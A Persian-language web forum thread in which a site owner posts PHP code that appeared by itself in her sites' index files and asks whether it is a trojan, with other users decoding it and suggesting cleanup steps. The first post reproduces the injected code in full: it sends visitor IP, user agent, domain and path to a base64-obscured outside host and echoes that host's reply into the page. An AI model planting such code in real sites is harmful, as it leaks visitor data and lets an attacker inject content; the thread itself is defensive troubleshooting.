آمدن خودبه خود کد در index

[mina_rp 10]

سلام این کد اتومات توی چند تا از سایتهام اومده تو indexقسمتی که reset.css رو معرفی کردم

فکر میکنم از ماژولایی که استفاده کردم باشه ،تروجانه؟

if (!isset($sRetry))

{

global $sRetry;

$sRetry = 1;

// This code use for global bot statistic

$sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); // Looks for google serch bot

$stCurlHandle = NULL;

$stCurlLink = "";

if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes

{

if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create bot analitics

$stCurlLink = base64_decode( 'aHR0cDovL2JvdHN0YXRpc3RpY3VwZGF0ZS5jb20vc3RhdC9zdGF0LnBocA==').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);

@$stCurlHandle = curl_init( $stCurlLink );

}

}

if ( $stCurlHandle !== NULL )

{

curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);

curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 12);

$sResult = @curl_exec($stCurlHandle);

if ($sResult[0]=="O")

{$sResult[0]=" ";

echo $sResult; // Statistic code end

}

curl_close($stCurlHandle);

}

}

[ابوالفضل طالبی 279]

دقت کن در داخل کدها یک خط هست که با base64 کد شده که مشکوک بود:

base64_decode( 'aHR0cDovL2JvdHN0YXRpc3RpY3VwZGF0ZS5jb20vc3RhdC9zd GF0LnBocA==')

دیکد که کردم این شد:

http://botstatisticupdate.com/stat/stat.php

خطوط پایین هم در حال ارسال اطلاعات از سایت شما به لینک مورد اشاره است!!! :13:

به نظر مشکوک میاد!! پیشنهاد میکنم ایندکس رو درست کنید و اگر ماژولی نصب کردید مربوط به آمار گیر یا یه چیز تو این مایه ها حذف کنید

[mina_rp 10]

سایت رو هم که باز کردم آنتی ویروسم پیغام تروجان داد که Js/iframe (اگه درست یادم مونده باشه)

index رو درست کردم

ولی نمیدونم از کدوم ماژول میتونه باشه

آخه ماژول خاصی نصب نکردم

[Pooyan Afzali 41]

درود

به نظر میاد کد یک آمارگیر هست

موارد زیر رو چک کنید

از افزونه یا قالب نال شده استفاده میکنید؟

این کد داخل فایلتون هست

if ( $stCurlHandle !== NULL )

در داخل روت هاست فایل اضافه میبینید؟

فایروالتون آی پی خاصی رو نشون میده که پکت های متعددی رو ارسال کرده باشه به سایت شما؟

از مدیر سرورتون بخواید که چک کنه این فایل در روز چند بار لود میشه؟